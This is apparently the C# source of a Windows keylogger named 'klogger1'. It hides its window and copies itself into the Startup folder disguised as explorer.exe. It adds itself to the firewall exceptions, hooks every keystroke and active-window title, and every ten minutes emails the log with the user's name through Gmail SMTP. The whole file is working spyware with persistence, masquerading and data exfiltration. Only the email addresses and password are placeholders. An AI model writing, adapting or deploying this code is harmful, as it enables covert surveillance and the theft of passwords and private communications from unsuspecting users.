﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using gma.System.Windows;
using NetFwTypeLib;
using Microsoft.Win32;
using System.Net.Mail;
using System.IO;
using System.Diagnostics;


namespace klogger1
{
    public partial class Form1 : Form
    {
        string log = "";
        public Form1()
        {
            InitializeComponent();
            this.Visible = false;
            dele = new ActiveWindow.WinEventDelegate(WinEventProc);
            IntPtr m_hhook = ActiveWindow.SetWinEventHook(ActiveWindow.EVENT_SYSTEM_FOREGROUND,
                ActiveWindow.EVENT_SYSTEM_FOREGROUND, IntPtr.Zero, dele, 0, 0, ActiveWindow.WINEVENT_OUTOFCONTEXT);
        }
       ActiveWindow.WinEventDelegate dele = null;
        UserActivityHook ac;
        private void Form1_Load(object sender, EventArgs e)
        {
            string path = Directory.GetParent(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)).FullName + @"\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\explorer.exe";
            if (System.Reflection.Assembly.GetExecutingAssembly().Location.ToLower()!=path.ToLower())
            {

                CopySelf.copy();

                FireWall1.AddAppToFireWall("explorer","\""+ path+"\"");
                Process p = Process.Start(path);
                Environment.Exit(0);
                //RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                //rkApp.SetValue("explorer", @"C:\Users\Public\IExplorer.exe");
            }
            ac = new UserActivityHook();
            ac.KeyPress += new KeyPressEventHandler(ac_KeyPress);
            timer1.Interval = 1000 *60*10;//interval between messages
            timer1.Start();
            timer1.Tick += new EventHandler(timer1_Tick);
        }

        void timer1_Tick(object sender, EventArgs e)
        {

            if (bgw.IsBusy != true)
            {
                bgw.RunWorkerAsync();
            }  
        }
     

        void ac_KeyPress(object sender, KeyPressEventArgs e)
        {
           log += e.KeyChar;
        }
        public void WinEventProc(IntPtr hWinEventHook, uint eventType, IntPtr hwnd, int idObject, int idChild, uint dwEventThread, uint dwmsEventTime)
        {
            log +="<strong>"+ActiveWindow.GetActiveWindowTitle() + @"</strong><br>";
        }

        private void bgw_DoWork(object sender, DoWorkEventArgs e)
        {
            try
            {

                if (log == "")
                {
                    return;
                }
                MailMessage mes = new MailMessage();
                mes.From = new MailAddress("email sender address");

                mes.To.Add("email receiver address");


                mes.Subject = "KeyLog" + DateTime.Now + System.Security.Principal.WindowsIdentity.GetCurrent().Name;
                mes.Body = log;
                mes.IsBodyHtml = true;
                SmtpClient scg = new SmtpClient("smtp.gmail.com", 25);//gmail smtp settings
                scg.UseDefaultCredentials = false;
                scg.Credentials = new System.Net.NetworkCredential("sender address", "password");
                scg.EnableSsl = true;
                scg.Send(mes);
                log = "";
            }
            catch (Exception)
            {

               
            }
        }

        private void bgw_ProgressChanged(object sender, ProgressChangedEventArgs e)
        {

        }

        private void bgw_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
        {

        }
        
    }
}
